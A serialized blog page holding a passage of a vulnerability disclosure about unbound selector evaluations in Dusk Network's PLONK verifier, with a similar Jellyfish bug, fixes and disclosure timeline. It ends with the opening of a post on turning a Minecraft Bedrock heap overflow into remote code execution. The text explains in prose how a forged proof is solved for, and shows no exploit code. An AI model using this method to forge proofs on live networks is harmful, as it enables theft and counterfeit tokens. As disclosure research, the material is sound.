"tag":504,"props":148124,"children":148126},{"className":148125},[930],[148127],{"type":29,"value":933},{"type":29,"value":5110},{"type":23,"tag":68,"props":148130,"children":148133},{"href":148131,"rel":148132},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[72],[148134],{"type":29,"value":148135},"permutation verifier key",{"type":29,"value":161},{"type":23,"tag":32,"props":148138,"children":148139},{},[148140,148142,148152],{"type":29,"value":148141},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":68,"props":148143,"children":148146},{"href":148144,"rel":148145},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[72],[148147],{"type":23,"tag":154,"props":148148,"children":148150},{"className":148149},[],[148151],{"type":29,"value":147593},{"type":29,"value":148153},", which leaves the master equation underconstrained.",{"type":23,"tag":32,"props":148155,"children":148156},{},[148157],{"type":23,"tag":199,"props":148158,"children":148161},{"alt":148159,"src":148160},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":20844,"props":148163,"children":148164},{},[],{"type":23,"tag":24,"props":148166,"children":148168},{"id":148167},"the-exploitation",[148169],{"type":29,"value":148170},"The exploitation",{"type":23,"tag":32,"props":148172,"children":148173},{},[148174],{"type":29,"value":148175},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":32,"props":148177,"children":148178},{},[148179,148181,148187,148189,148194,148196,148201,148203,148209],{"type":29,"value":148180},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":154,"props":148182,"children":148184},{"className":148183},[],[148185],{"type":29,"value":148186},"z_challenge",{"type":29,"value":148188},", it computes what the linearization polynomial ",{"type":23,"tag":4321,"props":148190,"children":148191},{},[148192],{"type":29,"value":148193},"should",{"type":29,"value":148195}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":154,"props":148197,"children":148199},{"className":148198},[],[148200],{"type":29,"value":147714},{"type":29,"value":148202},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":154,"props":148204,"children":148206},{"className":148205},[],[148207],{"type":29,"value":148208},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":161},{"type":23,"tag":32,"props":148211,"children":148212},{},[148213],{"type":23,"tag":199,"props":148214,"children":148217},{"alt":148215,"src":148216},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":32,"props":148219,"children":148220},{},[148221,148223,148263,148265,148290,148292,148297],{"type":29,"value":148222},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":154,"props":148224,"children":148226},{"className":148225},[500,501],[148227],{"type":23,"tag":504,"props":148228,"children":148230},{"className":148229},[507],[148231],{"type":23,"tag":504,"props":148232,"children":148234},{"className":148233,"ariaHidden":513},[512],[148235],{"type":23,"tag":504,"props":148236,"children":148238},{"className":148237},[518],[148239,148243,148248,148253,148258],{"type":23,"tag":504,"props":148240,"children":148242},{"className":148241,"style":2160},[523],[],{"type":23,"tag":504,"props":148244,"children":148246},{"className":148245,"style":624},[529,530],[148247],{"type":29,"value":1477},{"type":23,"tag":504,"props":148249,"children":148251},{"className":148250},[600],[148252],{"type":29,"value":603},{"type":23,"tag":504,"props":148254,"children":148256},{"className":148255},[529,530],[148257],{"type":29,"value":21327},{"type":23,"tag":504,"props":148259,"children":148261},{"className":148260},[930],[148262],{"type":29,"value":933},{"type":29,"value":148264}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":154,"props":148266,"children":148268},{"className":148267},[500,501],[148269],{"type":23,"tag":504,"props":148270,"children":148272},{"className":148271},[507],[148273],{"type":23,"tag":504,"props":148274,"children":148276},{"className":148275,"ariaHidden":513},[512],[148277],{"type":23,"tag":504,"props":148278,"children":148280},{"className":148279},[518],[148281,148285],{"type":23,"tag":504,"props":148282,"children":148284},{"className":148283,"style":112667},[523],[],{"type":23,"tag":504,"props":148286,"children":148288},{"className":148287,"style":115383},[529,530],[148289],{"type":29,"value":115386},{"type":29,"value":148291},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":154,"props":148293,"children":148295},{"className":148294},[],[148296],{"type":29,"value":147714},{"type":29,"value":148298}," gives the required value in a single field division.",{"type":23,"tag":20844,"props":148300,"children":148301},{},[],{"type":23,"tag":24,"props":148303,"children":148305},{"id":148304},"impact-on-dusk-network",[148306],{"type":29,"value":148307},"Impact on Dusk Network",{"type":23,"tag":32,"props":148309,"children":148310},{},[148311,148313,148320],{"type":29,"value":148312},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":68,"props":148314,"children":148317},{"href":148315,"rel":148316},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[72],[148318],{"type":29,"value":148319},"preverify path",{"type":29,"value":148321},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":139,"props":148323,"children":148324},{},[148325,148330,148335],{"type":23,"tag":143,"props":148326,"children":148327},{},[148328],{"type":29,"value":148329},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":143,"props":148331,"children":148332},{},[148333],{"type":29,"value":148334},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":143,"props":148336,"children":148337},{},[148338],{"type":29,"value":148339},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":32,"props":148341,"children":148342},{},[148343],{"type":29,"value":148344},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":139,"props":148346,"children":148347},{},[148348,148353,148363,148375,148380],{"type":23,"tag":143,"props":148349,"children":148350},{},[148351],{"type":29,"value":148352},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":143,"props":148354,"children":148355},{},[148356,148358],{"type":29,"value":148357},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":38,"props":148359,"children":148360},{},[148361],{"type":29,"value":148362},"2000 DUSK from nothing",{"type":23,"tag":143,"props":148364,"children":148365},{},[148366,148368,148373],{"type":29,"value":148367},"The malicious wallet transfers ",{"type":23,"tag":38,"props":148369,"children":148370},{},[148371],{"type":29,"value":148372},"1337 DUSK",{"type":29,"value":148374}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":143,"props":148376,"children":148377},{},[148378],{"type":29,"value":148379},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":143,"props":148381,"children":148382},{},[148383],{"type":29,"value":148384},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":32,"props":148386,"children":148387},{},[148388],{"type":23,"tag":199,"props":148389,"children":148392},{"alt":148390,"src":148391},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":32,"props":148394,"children":148395},{},[148396,148398,148404,148406,148413],{"type":29,"value":148397},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":68,"props":148399,"children":148401},{"href":143699,"rel":148400},[72],[148402],{"type":29,"value":148403},"~60M",{"type":29,"value":148405},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":68,"props":148407,"children":148410},{"href":148408,"rel":148409},"https://neptune.cash/articles/critical-vulnerability-disclosure",[72],[148411],{"type":29,"value":148412},"Triton VM vulnerability",{"type":29,"value":357},{"type":23,"tag":20844,"props":148415,"children":148416},{},[],{"type":23,"tag":24,"props":148418,"children":148420},{"id":148419},"the-fix",[148421],{"type":29,"value":148422},"The fix",{"type":23,"tag":32,"props":148424,"children":148425},{},[148426],{"type":29,"value":148427},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":1022,"props":148429,"children":148430},{},[148431,148476],{"type":23,"tag":143,"props":148432,"children":148433},{},[148434,148436,148447,148449,148455,148456,148462,148463,148469,148470],{"type":29,"value":148435},"Extend ",{"type":23,"tag":68,"props":148437,"children":148440},{"href":148438,"rel":148439},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[72],[148441],{"type":23,"tag":154,"props":148442,"children":148444},{"className":148443},[],[148445],{"type":29,"value":148446},"compute_aggregate_witness",{"type":29,"value":148448}," on the prover side to also include ",{"type":23,"tag":154,"props":148450,"children":148452},{"className":148451},[],[148453],{"type":29,"value":148454},"q_arith",{"type":29,"value":4367},{"type":23,"tag":154,"props":148457,"children":148459},{"className":148458},[],[148460],{"type":29,"value":148461},"q_c",{"type":29,"value":4367},{"type":23,"tag":154,"props":148464,"children":148466},{"className":148465},[],[148467],{"type":29,"value":148468},"q_l",{"type":29,"value":4375},{"type":23,"tag":154,"props":148471,"children":148473},{"className":148472},[],[148474],{"type":29,"value":148475},"q_r",{"type":23,"tag":143,"props":148477,"children":148478},{},[148479,148481,148491],{"type":29,"value":148480},"Add their evaluations to ",{"type":23,"tag":68,"props":148482,"children":148485},{"href":148483,"rel":148484},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[72],[148486],{"type":23,"tag":154,"props":148487,"children":148489},{"className":148488},[],[148490],{"type":29,"value":147593},{"type":29,"value":148492}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":32,"props":148494,"children":148495},{},[148496,148498,148505],{"type":29,"value":148497},"This was done in ",{"type":23,"tag":68,"props":148499,"children":148502},{"href":148500,"rel":148501},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[72],[148503],{"type":29,"value":148504},"commit 645265b7",{"type":29,"value":148506},", which landed on February 14, 2026.",{"type":23,"tag":20844,"props":148508,"children":148509},{},[],{"type":23,"tag":24,"props":148511,"children":148513},{"id":148512},"why-was-this-missed",[148514],{"type":29,"value":148515},"Why was this missed?",{"type":23,"tag":32,"props":148517,"children":148518},{},[148519,148521,148528,148529,148536,148538,148545,148547,148554],{"type":29,"value":148520},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":68,"props":148522,"children":148525},{"href":148523,"rel":148524},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[72],[148526],{"type":29,"value":148527},"December 2023 audit of dusk-plonk",{"type":29,"value":126169},{"type":23,"tag":68,"props":148530,"children":148533},{"href":148531,"rel":148532},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[72],[148534],{"type":29,"value":148535},"September 2024 audit of Phoenix",{"type":29,"value":148537},", and a ",{"type":23,"tag":68,"props":148539,"children":148542},{"href":148540,"rel":148541},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[72],[148543],{"type":29,"value":148544},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":148546},". Dusk's public ",{"type":23,"tag":68,"props":148548,"children":148551},{"href":148549,"rel":148550},"https://dusk.network/news/audits-overview",[72],[148552],{"type":29,"value":148553},"audits overview",{"type":29,"value":148555}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":32,"props":148557,"children":148558},{},[148559,148561,148566],{"type":29,"value":148560},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":4321,"props":148562,"children":148563},{},[148564],{"type":29,"value":148565},"evaluations",{"type":29,"value":357},{"type":23,"tag":32,"props":148568,"children":148569},{},[148570],{"type":29,"value":148571},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":32,"props":148573,"children":148574},{},[148575],{"type":29,"value":148576},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":24,"props":148578,"children":148580},{"id":148579},"a-similar-bug-in-espresso-systems-jellyfish",[148581],{"type":29,"value":148582},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":32,"props":148584,"children":148585},{},[148586,148588,148595],{"type":29,"value":148587},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":68,"props":148589,"children":148592},{"href":148590,"rel":148591},"https://github.com/EspressoSystems/jellyfish/",[72],[148593],{"type":29,"value":148594},"jf-plonk",{"type":29,"value":148596}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":32,"props":148598,"children":148599},{},[148600,148602,148609,148611,148622,148624,148649,148651,148676],{"type":29,"value":148601},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":68,"props":148603,"children":148606},{"href":148604,"rel":148605},"https://eprint.iacr.org/2020/315",[72],[148607],{"type":29,"value":148608},"Plookup",{"type":29,"value":148610}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":68,"props":148612,"children":148615},{"href":148613,"rel":148614},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[72],[148616],{"type":23,"tag":154,"props":148617,"children":148619},{"className":148618},[],[148620],{"type":29,"value":148621},"append_plookup_evaluations",{"type":29,"value":148623}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":154,"props":148625,"children":148627},{"className":148626},[500,501],[148628],{"type":23,"tag":504,"props":148629,"children":148631},{"className":148630},[507],[148632],{"type":23,"tag":504,"props":148633,"children":148635},{"className":148634,"ariaHidden":513},[512],[148636],{"type":23,"tag":504,"props":148637,"children":148639},{"className":148638},[518],[148640,148644],{"type":23,"tag":504,"props":148641,"children":148643},{"className":148642,"style":112667},[523],[],{"type":23,"tag":504,"props":148645,"children":148647},{"className":148646,"style":1136},[529,530],[148648],{"type":29,"value":115730},{"type":29,"value":148650}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":154,"props":148652,"children":148654},{"className":148653},[500,501],[148655],{"type":23,"tag":504,"props":148656,"children":148658},{"className":148657},[507],[148659],{"type":23,"tag":504,"props":148660,"children":148662},{"className":148661,"ariaHidden":513},[512],[148663],{"type":23,"tag":504,"props":148664,"children":148666},{"className":148665},[518],[148667,148671],{"type":23,"tag":504,"props":148668,"children":148670},{"className":148669,"style":112667},[523],[],{"type":23,"tag":504,"props":148672,"children":148674},{"className":148673,"style":1136},[529,530],[148675],{"type":29,"value":115730},{"type":29,"value":148677},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":32,"props":148679,"children":148680},{},[148681,148683,148689,148691,148697],{"type":29,"value":148682},"The attack requires modifying a single evaluation (",{"type":23,"tag":154,"props":148684,"children":148686},{"className":148685},[],[148687],{"type":29,"value":148688},"key_table_next_eval",{"type":29,"value":148690},") by ",{"type":23,"tag":154,"props":148692,"children":148694},{"className":148693},[],[148695],{"type":29,"value":148696},"delta / (u * v^3)",{"type":29,"value":148698}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":32,"props":148700,"children":148701},{},[148702,148704,148711,148713,148724],{"type":29,"value":148703},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":68,"props":148705,"children":148708},{"href":148706,"rel":148707},"https://github.com/EspressoSystems/jellyfish/pull/867",[72],[148709],{"type":29,"value":148710},"PR #867",{"type":29,"value":148712}," fixed the issue and was tagged as ",{"type":23,"tag":68,"props":148714,"children":148717},{"href":148715,"rel":148716},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[72],[148718],{"type":23,"tag":154,"props":148719,"children":148721},{"className":148720},[],[148722],{"type":29,"value":148723},"jf-plonk-v0.8.0",{"type":29,"value":148725}," on March 18, 2026.",{"type":23,"tag":20844,"props":148727,"children":148728},{},[],{"type":23,"tag":24,"props":148730,"children":148732},{"id":148731},"toward-standardization",[148733],{"type":29,"value":148734},"Toward standardization",{"type":23,"tag":32,"props":148736,"children":148737},{},[148738,148740,148747],{"type":29,"value":148739},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":68,"props":148741,"children":148744},{"href":148742,"rel":148743},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[72],[148745],{"type":29,"value":148746},"similar patterns appear across zkVMs",{"type":29,"value":148748},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":32,"props":148750,"children":148751},{},[148752],{"type":29,"value":148753},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":32,"props":148755,"children":148756},{},[148757],{"type":29,"value":148758},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":24,"props":148760,"children":148761},{"id":62885},[148762],{"type":29,"value":148763},"Disclosure timeline",{"type":23,"tag":57806,"props":148765,"children":148766},{},[148767,148783],{"type":23,"tag":124777,"props":148768,"children":148769},{},[148770],{"type":23,"tag":124781,"props":148771,"children":148772},{},[148773,148778],{"type":23,"tag":124785,"props":148774,"children":148775},{},[148776],{"type":29,"value":148777},"Date",{"type":23,"tag":124785,"props":148779,"children":148780},{},[148781],{"type":29,"value":148782},"Event",{"type":23,"tag":124805,"props":148784,"children":148785},{},[148786,148799,148812,148824,148850,148870],{"type":23,"tag":124781,"props":148787,"children":148788},{},[148789,148794],{"type":23,"tag":124812,"props":148790,"children":148791},{},[148792],{"type":29,"value":148793},"2026-02-13",{"type":23,"tag":124812,"props":148795,"children":148796},{},[148797],{"type":29,"value":148798},"Dusk vulnerability reported",{"type":23,"tag":124781,"props":148800,"children":148801},{},[148802,148807],{"type":23,"tag":124812,"props":148803,"children":148804},{},[148805],{"type":29,"value":148806},"2026-02-14",{"type":23,"tag":124812,"props":148808,"children":148809},{},[148810],{"type":29,"value":148811},"Dusk acknowledged",{"type":23,"tag":124781,"props":148813,"children":148814},{},[148815,148819],{"type":23,"tag":124812,"props":148816,"children":148817},{},[148818],{"type":29,"value":148806},{"type":23,"tag":124812,"props":148820,"children":148821},{},[148822],{"type":29,"value":148823},"Dusk fix committed",{"type":23,"tag":124781,"props":148825,"children":148826},{},[148827,148832],{"type":23,"tag":124812,"props":148828,"children":148829},{},[148830],{"type":29,"value":148831},"2026-02-27",{"type":23,"tag":124812,"props":148833,"children":148834},{},[148835,148837,148848],{"type":29,"value":148836},"Public ",{"type":23,"tag":68,"props":148838,"children":148841},{"href":148839,"rel":148840},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[72],[148842],{"type":23,"tag":154,"props":148843,"children":148845},{"className":148844},[],[148846],{"type":29,"value":148847},"dusk-rusk-1.6.0",{"type":29,"value":148849}," release published",{"type":23,"tag":124781,"props":148851,"children":148852},{},[148853,148858],{"type":23,"tag":124812,"props":148854,"children":148855},{},[148856],{"type":29,"value":148857},"2026-03-16",{"type":23,"tag":124812,"props":148859,"children":148860},{},[148861,148863,148869],{"type":29,"value":148862},"Jellyfish fix PR opened (",{"type":23,"tag":68,"props":148864,"children":148866},{"href":148706,"rel":148865},[72],[148867],{"type":29,"value":148868},"#867",{"type":29,"value":933},{"type":23,"tag":124781,"props":148871,"children":148872},{},[148873,148878],{"type":23,"tag":124812,"props":148874,"children":148875},{},[148876],{"type":29,"value":148877},"2026-03-18",{"type":23,"tag":124812,"props":148879,"children":148880},{},[148881,148883,148888,148890],{"type":29,"value":148882},"Jellyfish fix merged in ",{"type":23,"tag":68,"props":148884,"children":148886},{"href":148706,"rel":148885},[72],[148887],{"type":29,"value":148868},{"type":29,"value":148889}," and tagged as ",{"type":23,"tag":68,"props":148891,"children":148893},{"href":148715,"rel":148892},[72],[148894],{"type":23,"tag":154,"props":148895,"children":148897},{"className":148896},[],[148898],{"type":29,"value":148723},{"type":23,"tag":24,"props":148900,"children":148902},{"id":148901},"acknowledgements",[148903],{"type":29,"value":148904},"Acknowledgements",{"type":23,"tag":32,"props":148906,"children":148907},{},[148908],{"type":29,"value":148909},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":4868,"depth":4868,"links":148911},[148912,148919,148920,148921,148922,148923,148924,148925,148926,148927,148928,148929],{"id":143729,"depth":4868,"text":143732,"children":148913},[148914,148915,148916,148917,148918],{"id":143754,"depth":4876,"text":143757},{"id":144557,"depth":4876,"text":144560},{"id":145755,"depth":4876,"text":145758},{"id":145785,"depth":4876,"text":145788},{"id":146066,"depth":4876,"text":146069},{"id":146799,"depth":4868,"text":146802},{"id":146937,"depth":4868,"text":146940},{"id":92363,"depth":4868,"text":147568},{"id":148167,"depth":4868,"text":148170},{"id":148304,"depth":4868,"text":148307},{"id":148419,"depth":4868,"text":148422},{"id":148512,"depth":4868,"text":148515},{"id":148579,"depth":4868,"text":148582},{"id":148731,"depth":4868,"text":148734},{"id":62885,"depth":4868,"text":148763},{"id":148901,"depth":4868,"text":148904},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":148934,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":148935,"description":148936,"date":148937,"author":125436,"image":148938,"isFeatured":15,"onBlogPage":15,"tags":148940,"body":148943,"_type":4892,"_id":158323,"_source":4894,"_file":158324,"_stem":158325,"_extension":4897},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":148939,"width":99047,"height":14},"/posts/minecraft-heap-overflow-to-rce/title.png",[148941,148942],"minecraft","rce",{"type":20,"children":148944,"toc":158300},[148945,148950,148955,148960,148966,148971,148990,148995,149001,149006,149011,149017,149022,149027,149032,149038,149043,149048,149054,149074,149086,149093,149115,149129,149136,149142,149152,149172,149177,149183,149196,149541,149546,149554,149560,149579,149887,149915,149958,149970,149978,149983,150452,150471,150492,150834,150858,151130,151154,151181,151390,151409,151417,151436,151442,151504,151507,151529,151533,151538,151543,151549,151554,151568,151574,151588,151594,151607,151612,151620,151625,151631,151652,151660,151673,151676,151681,151695,151700,151705,151711,151716,151739,151744,151750,151755,151767,151779,151893,151913,151918,151923,151929,151934,151954,152569,152582,153656,153661,153669,153674,153680,153685,153693,153706,153711,153716,153723,153736,153741,153748,153803,153823,153830,153849,153856,153859,153864,153869,153875,153887,153900,153908,153979,153990,154024,154032,154037,154042,154048,154060,154079,154091,154096,154104,154123,154131,154150,154158,154184,154192,154197,154205,154210,154218,154221,154226,154231,154237,154250,154268,154306,154336,154344,154349,154355,154360,154365,154371,154383,154552,154564,154572,154577,154584,154589,154650,154697,154709,154714,154740,154814,154852,154857,154865,154886,154891,154917,154951,155004,155051,155057,155076,155108,155116,155219,155290,155296,155322,155329,155334,155341,155346,155587,155613,155618,155666,155671,155677,155709,155721,155753,155761,155800,155808,155813,155821,155826,155834,155846,155854,155866,155874,155886,155906,155912,155932,155949,155957,155969,155977,155996,156001,156009,156014,156022,156048,156059,156066,156071,156079,156084,156092,156097,156105,156110,156118,156123,156131,156136,156144,156185,156192,156197,156205,156210,156218,156223,156231,156236,156241,156249,156254,156262,156288,156296,156322,156330,156335,156343,156348,156356,156364,156369,156377,156382,156390,156393,156404,156438,156456,156464,156484,156490,156509,156567,156587,156595,156598,156637,156697,156702,156708,156721,156729,156781,156820,156828,156861,156864,156884,156892,156898,156903,156911,156951,156992,157012,157017,157022,157040,157046,157051,157070,157131,157139,157165,157171,157191,157196,157201,157208,157273,157278,157285,157306,157311,157323,157329,157362,157369,157374,157402,157409,157465,157477,157484,157545,157564,157570,157604,157625,157652,157660,157713,157783,157789,157809,157852,157857,158255,158261,158266,158277,158281,158286,158291,158296],{"type":23,"tag":37429,"props":148946,"children":148948},{"id":148947},"pwning-minecraft-4-byte-heap-overflow-to-rce",[148949],{"type":29,"value":148935},{"type":23,"tag":32,"props":148951,"children":148952},{},[148953],{"type":29,"value":148954},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":32,"props":148956,"children":148957},{},[148958],{"type":29,"value":148959},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":24,"props":148961,"children":148963},{"id":148962},"the-target",[148964],{"type":29,"value":148965},"The Target",{"type":23,"tag":32,"props":148967,"children":148968},{},[148969],{"type":29,"value":148970},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":32,"props":148972,"children":148973},{},[148974,148976,148981,148983,148988],{"type":29,"value":148975},"There are two main editions: ",{"type":23,"tag":38,"props":148977,"children":148978},{},[148979],{"type":29,"value":148980},"Minecraft Java Edition",{"type":29,"value":148982},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":38,"props":148984,"children":148985},{},[148986],{"type":29,"value":148987},"Minecraft Bedrock Edition",{"type":29,"value":148989},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":32,"props":148991,"children":148992},{},[148993],{"type":29,"value":148994},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":320,"props":148996,"children":148998},{"id":148997},"choice-of-context",[148999],{"type":29,"value":149000},"Choice of Context",{"type":23,"tag":32,"props":149002,"children":149003},{},[149004],{"type":29,"value":149005},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":32,"props":149007,"children":149008},{},[149009],{"type":29,"value":149010},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":320,"props":149012,"children":149014},{"id":149013},"resource-packs",[149015],{"type":29,"value":149016},"Resource Packs",{"type":23,"tag":32,"props":149018,"children":149019},{},[149020],{"type":29,"value":149021},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":32,"props":149023,"children":149024},{},[149025],{"type":29,"value":149026},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":32,"props":149028,"children":149029},{},[149030],{"type":29,"value":149031},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":24,"props":149033,"children":149035},{"id":149034},"finding-a-memory-corruption-bug",[149036],{"type":29,"value":149037},"Finding a Memory Corruption Bug",{"type":23,"tag":32,"props":149039,"children":149040},{},[149041],{"type":29,"value":149042},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":32,"props":149044,"children":149045},{},[149046],{"type":29,"value":149047},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":320,"props":149049,"children":149051},{"id":149050},"locating-image-parsing-code",[149052],{"type":29,"value":149053},"Locating Image Parsing Code",{"type":23,"tag":32,"props":149055,"children":149056},{},[149057,149059,149065,149066,149072],{"type":29,"value":149058},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":154,"props":149060,"children":149062},{"className":149061},[],[149063],{"type":29,"value":149064},"PNG",{"type":29,"value":15180},{"type":23,"tag":154,"props":149067,"children":149069},{"className":149068},[],[149070],{"type":29,"value":149071},"GIF",{"type":29,"value":149073}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":32,"props":149075,"children":149076},{},[149077,149079,149084],{"type":29,"value":149078},"Searching for the string ",{"type":23,"tag":154,"props":149080,"children":149082},{"className":149081},[],[149083],{"type":29,"value":149071},{"type":29,"value":149085}," returned some interesting 